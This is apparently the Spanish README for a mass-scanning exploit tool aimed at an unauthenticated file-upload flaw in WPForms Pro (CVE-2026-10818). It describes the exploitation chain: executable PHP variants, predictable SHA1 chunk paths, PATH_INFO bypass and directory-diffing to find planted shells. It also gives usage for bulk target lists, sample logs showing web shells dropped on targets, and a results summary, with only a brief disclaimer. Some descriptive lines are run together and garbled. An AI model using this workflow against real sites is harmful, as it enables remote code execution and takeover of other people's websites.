
WPForms Pro <= 1.10.1.1 - Escritura Arbitraria de Archivos No Autenticada a través del Orden de Inicio/Finalización de Subida Fragmentada
WPForms Pro <= 1.10.1.1 - Escritura Arbitraria de Archivos No Autenticada mediante el Orden de Inicialización/Finalización de la Subida Fragmentada
Exploit de Prueba de Concepto
Orden de Inicialización/Finalización de la Subida Fragmentada → Exposición de Ruta Predecible → Ejecución Remota de Código
| Campo | Detalle |
|---|---|
| CVE ID | CVE-2026-10818 |
| Plugin Afectado | WPForms Pro (WordPress) |
| Versiones Afectadas | Todas las versiones hasta la 1.10.1.1 inclusive |
| Tipo | Escritura Arbitraria de Archivos No Autenticada |
| CWE | CWE-434: Subida sin Restricciones de Archivos con Tipo Peligroso |
| CVSS 3.1 | 8.1 ALTA — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticación | No se requiere ninguna |
El plugin WPForms Pro para WordPress es vulnerable a la Subida Arbitraria de Archivos en todas las versiones hasta la 1.10.1.1 inclusive a través de la función ajax_chunk_upload_finalize. Esto se debe a que la validación del tipo de archivo ocurre después de que los metadatos del fragmento y el contenido del archivo ya se han escrito en el disco, y a que el archivo ensamblado no se elimina cuando la validación falla. Esto permite que atacantes no autenticados suban archivos que pueden ser ejecutables, lo que hace posible la ejecución remota de código.
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
La cadena de vulnerabilidad explota un fallo crítico de orden en el ciclo de vida de la subida fragmentada:
SHA1(UUID)-0.chunk)wp_ajax_nopriv_*)readme.txt y el código fuente HTML para identificar versiones vulnerables de WPFormswpforms_upload_chunk_init es accesible externamente antes de continuarSHA1(UUID)SHA1(client-controlled UUID) para derivar la URL exacta del fragmento sin necesidad de adivinar/wpforms/tmp/ antes y después de las subidas de archivos ejecutables para identificar archivos recién escritos<32hex>.<ext>.chunk/x.php, /.php) para desencadenar la ejecución de PHP en extensiones que no son PHPPython >= 3.8
pip install requests urllib3 beautifulsoup4
beautifulsoup4es opcional pero recomendado para una extracción más fiable de los campos del formulario.
python CVE-2026-10818.py
Se te solicitará lo siguiente:
| Solicitud | Descripción | Predeterminado |
|---|---|---|
| Archivo de objetivos | Ruta a un archivo de texto que contiene un objetivo por línea | list.txt |
| Hilos | Número de trabajadores concurrentes (1–20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Una URL por línea. Admite http://, https://, dominios sin prefijo, IPs e instalaciones en subdirectorios.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
Durante el escaneo, cada objetivo avanza a través de etapas etiquetadas:
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
Todos los resultados se guardan en Nx_hit/:
| Archivo | Contenido |
|---|---|
Nx_shell.txt | RCE confirmado — URL, etiqueta y vista previa del cuerpo de la respuesta |
Nx_vuln.txt | Escritura arbitraria de archivos confirmada sin verificación de ejecución |
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ COMPLETE 150 targets processed ┃
┃ ┃
┃ ● 3 shell ◐ 12 vuln ○ 85 skip ✗ 50 miss ┃
┃ ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
| Símbolo | Significado |
|---|---|
● shell | Ejecución de PHP confirmada en el objetivo remoto |
◐ vuln | Archivo escrito en el disco, ejecución no confirmada |
○ skip | Objetivo inalcanzable, parcheado o sin formulario de subida encontrado |
✗ miss | Los intentos de subida fallaron |
Target
│
├─ Reachability (HTTPS → HTTP fallback)
├─ WPForms Version Detection
├─ Form Discovery (100+ page paths + sitemap crawl)
├─ AJAX Route Validation
│
├─ Phase 1: Safe Uploads (png/jpg/pdf + finalize → URL)
│ └─ Shell verification on returned URLs
│
├─ Phase 2: Directory Snapshot (BEFORE)
│
├─ Phase 3: Exec Uploads (php/phtml/php5/phar/shtml + finalize)
│ ├─ Leaked filename extraction from response
│ └─ Hash pattern extraction from body + headers
│
├─ Phase 4: Directory Snapshot (AFTER) → Diff → New exec files
│ └─ Shell verification on each new file
│
├─ Phase 5: Hash Leak Verification
│ └─ Build URLs from leaked hashes → Shell check
│
├─ Phase 6: Chunk-Only Uploads (no finalize → predictable SHA1 path)
│ └─ Direct access + PATH_INFO bypass probing
│
└─ Result Classification (shell / vuln / skip / miss)
Esta herramienta se proporciona estrictamente para pruebas de seguridad autorizadas y fines de investigación educativa. Úsala únicamente en sistemas de tu propiedad o para los que tengas permiso explícito por escrito de realizar pruebas.
El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso, los daños o las consecuencias legales derivadas del uso de este software.
Al usar esta herramienta, aceptas que eres el único responsable de tus acciones y que cumplirás con todas las leyes y regulaciones aplicables.
Por: Nxploited
Khaled Alenazi
T.m @Kxploit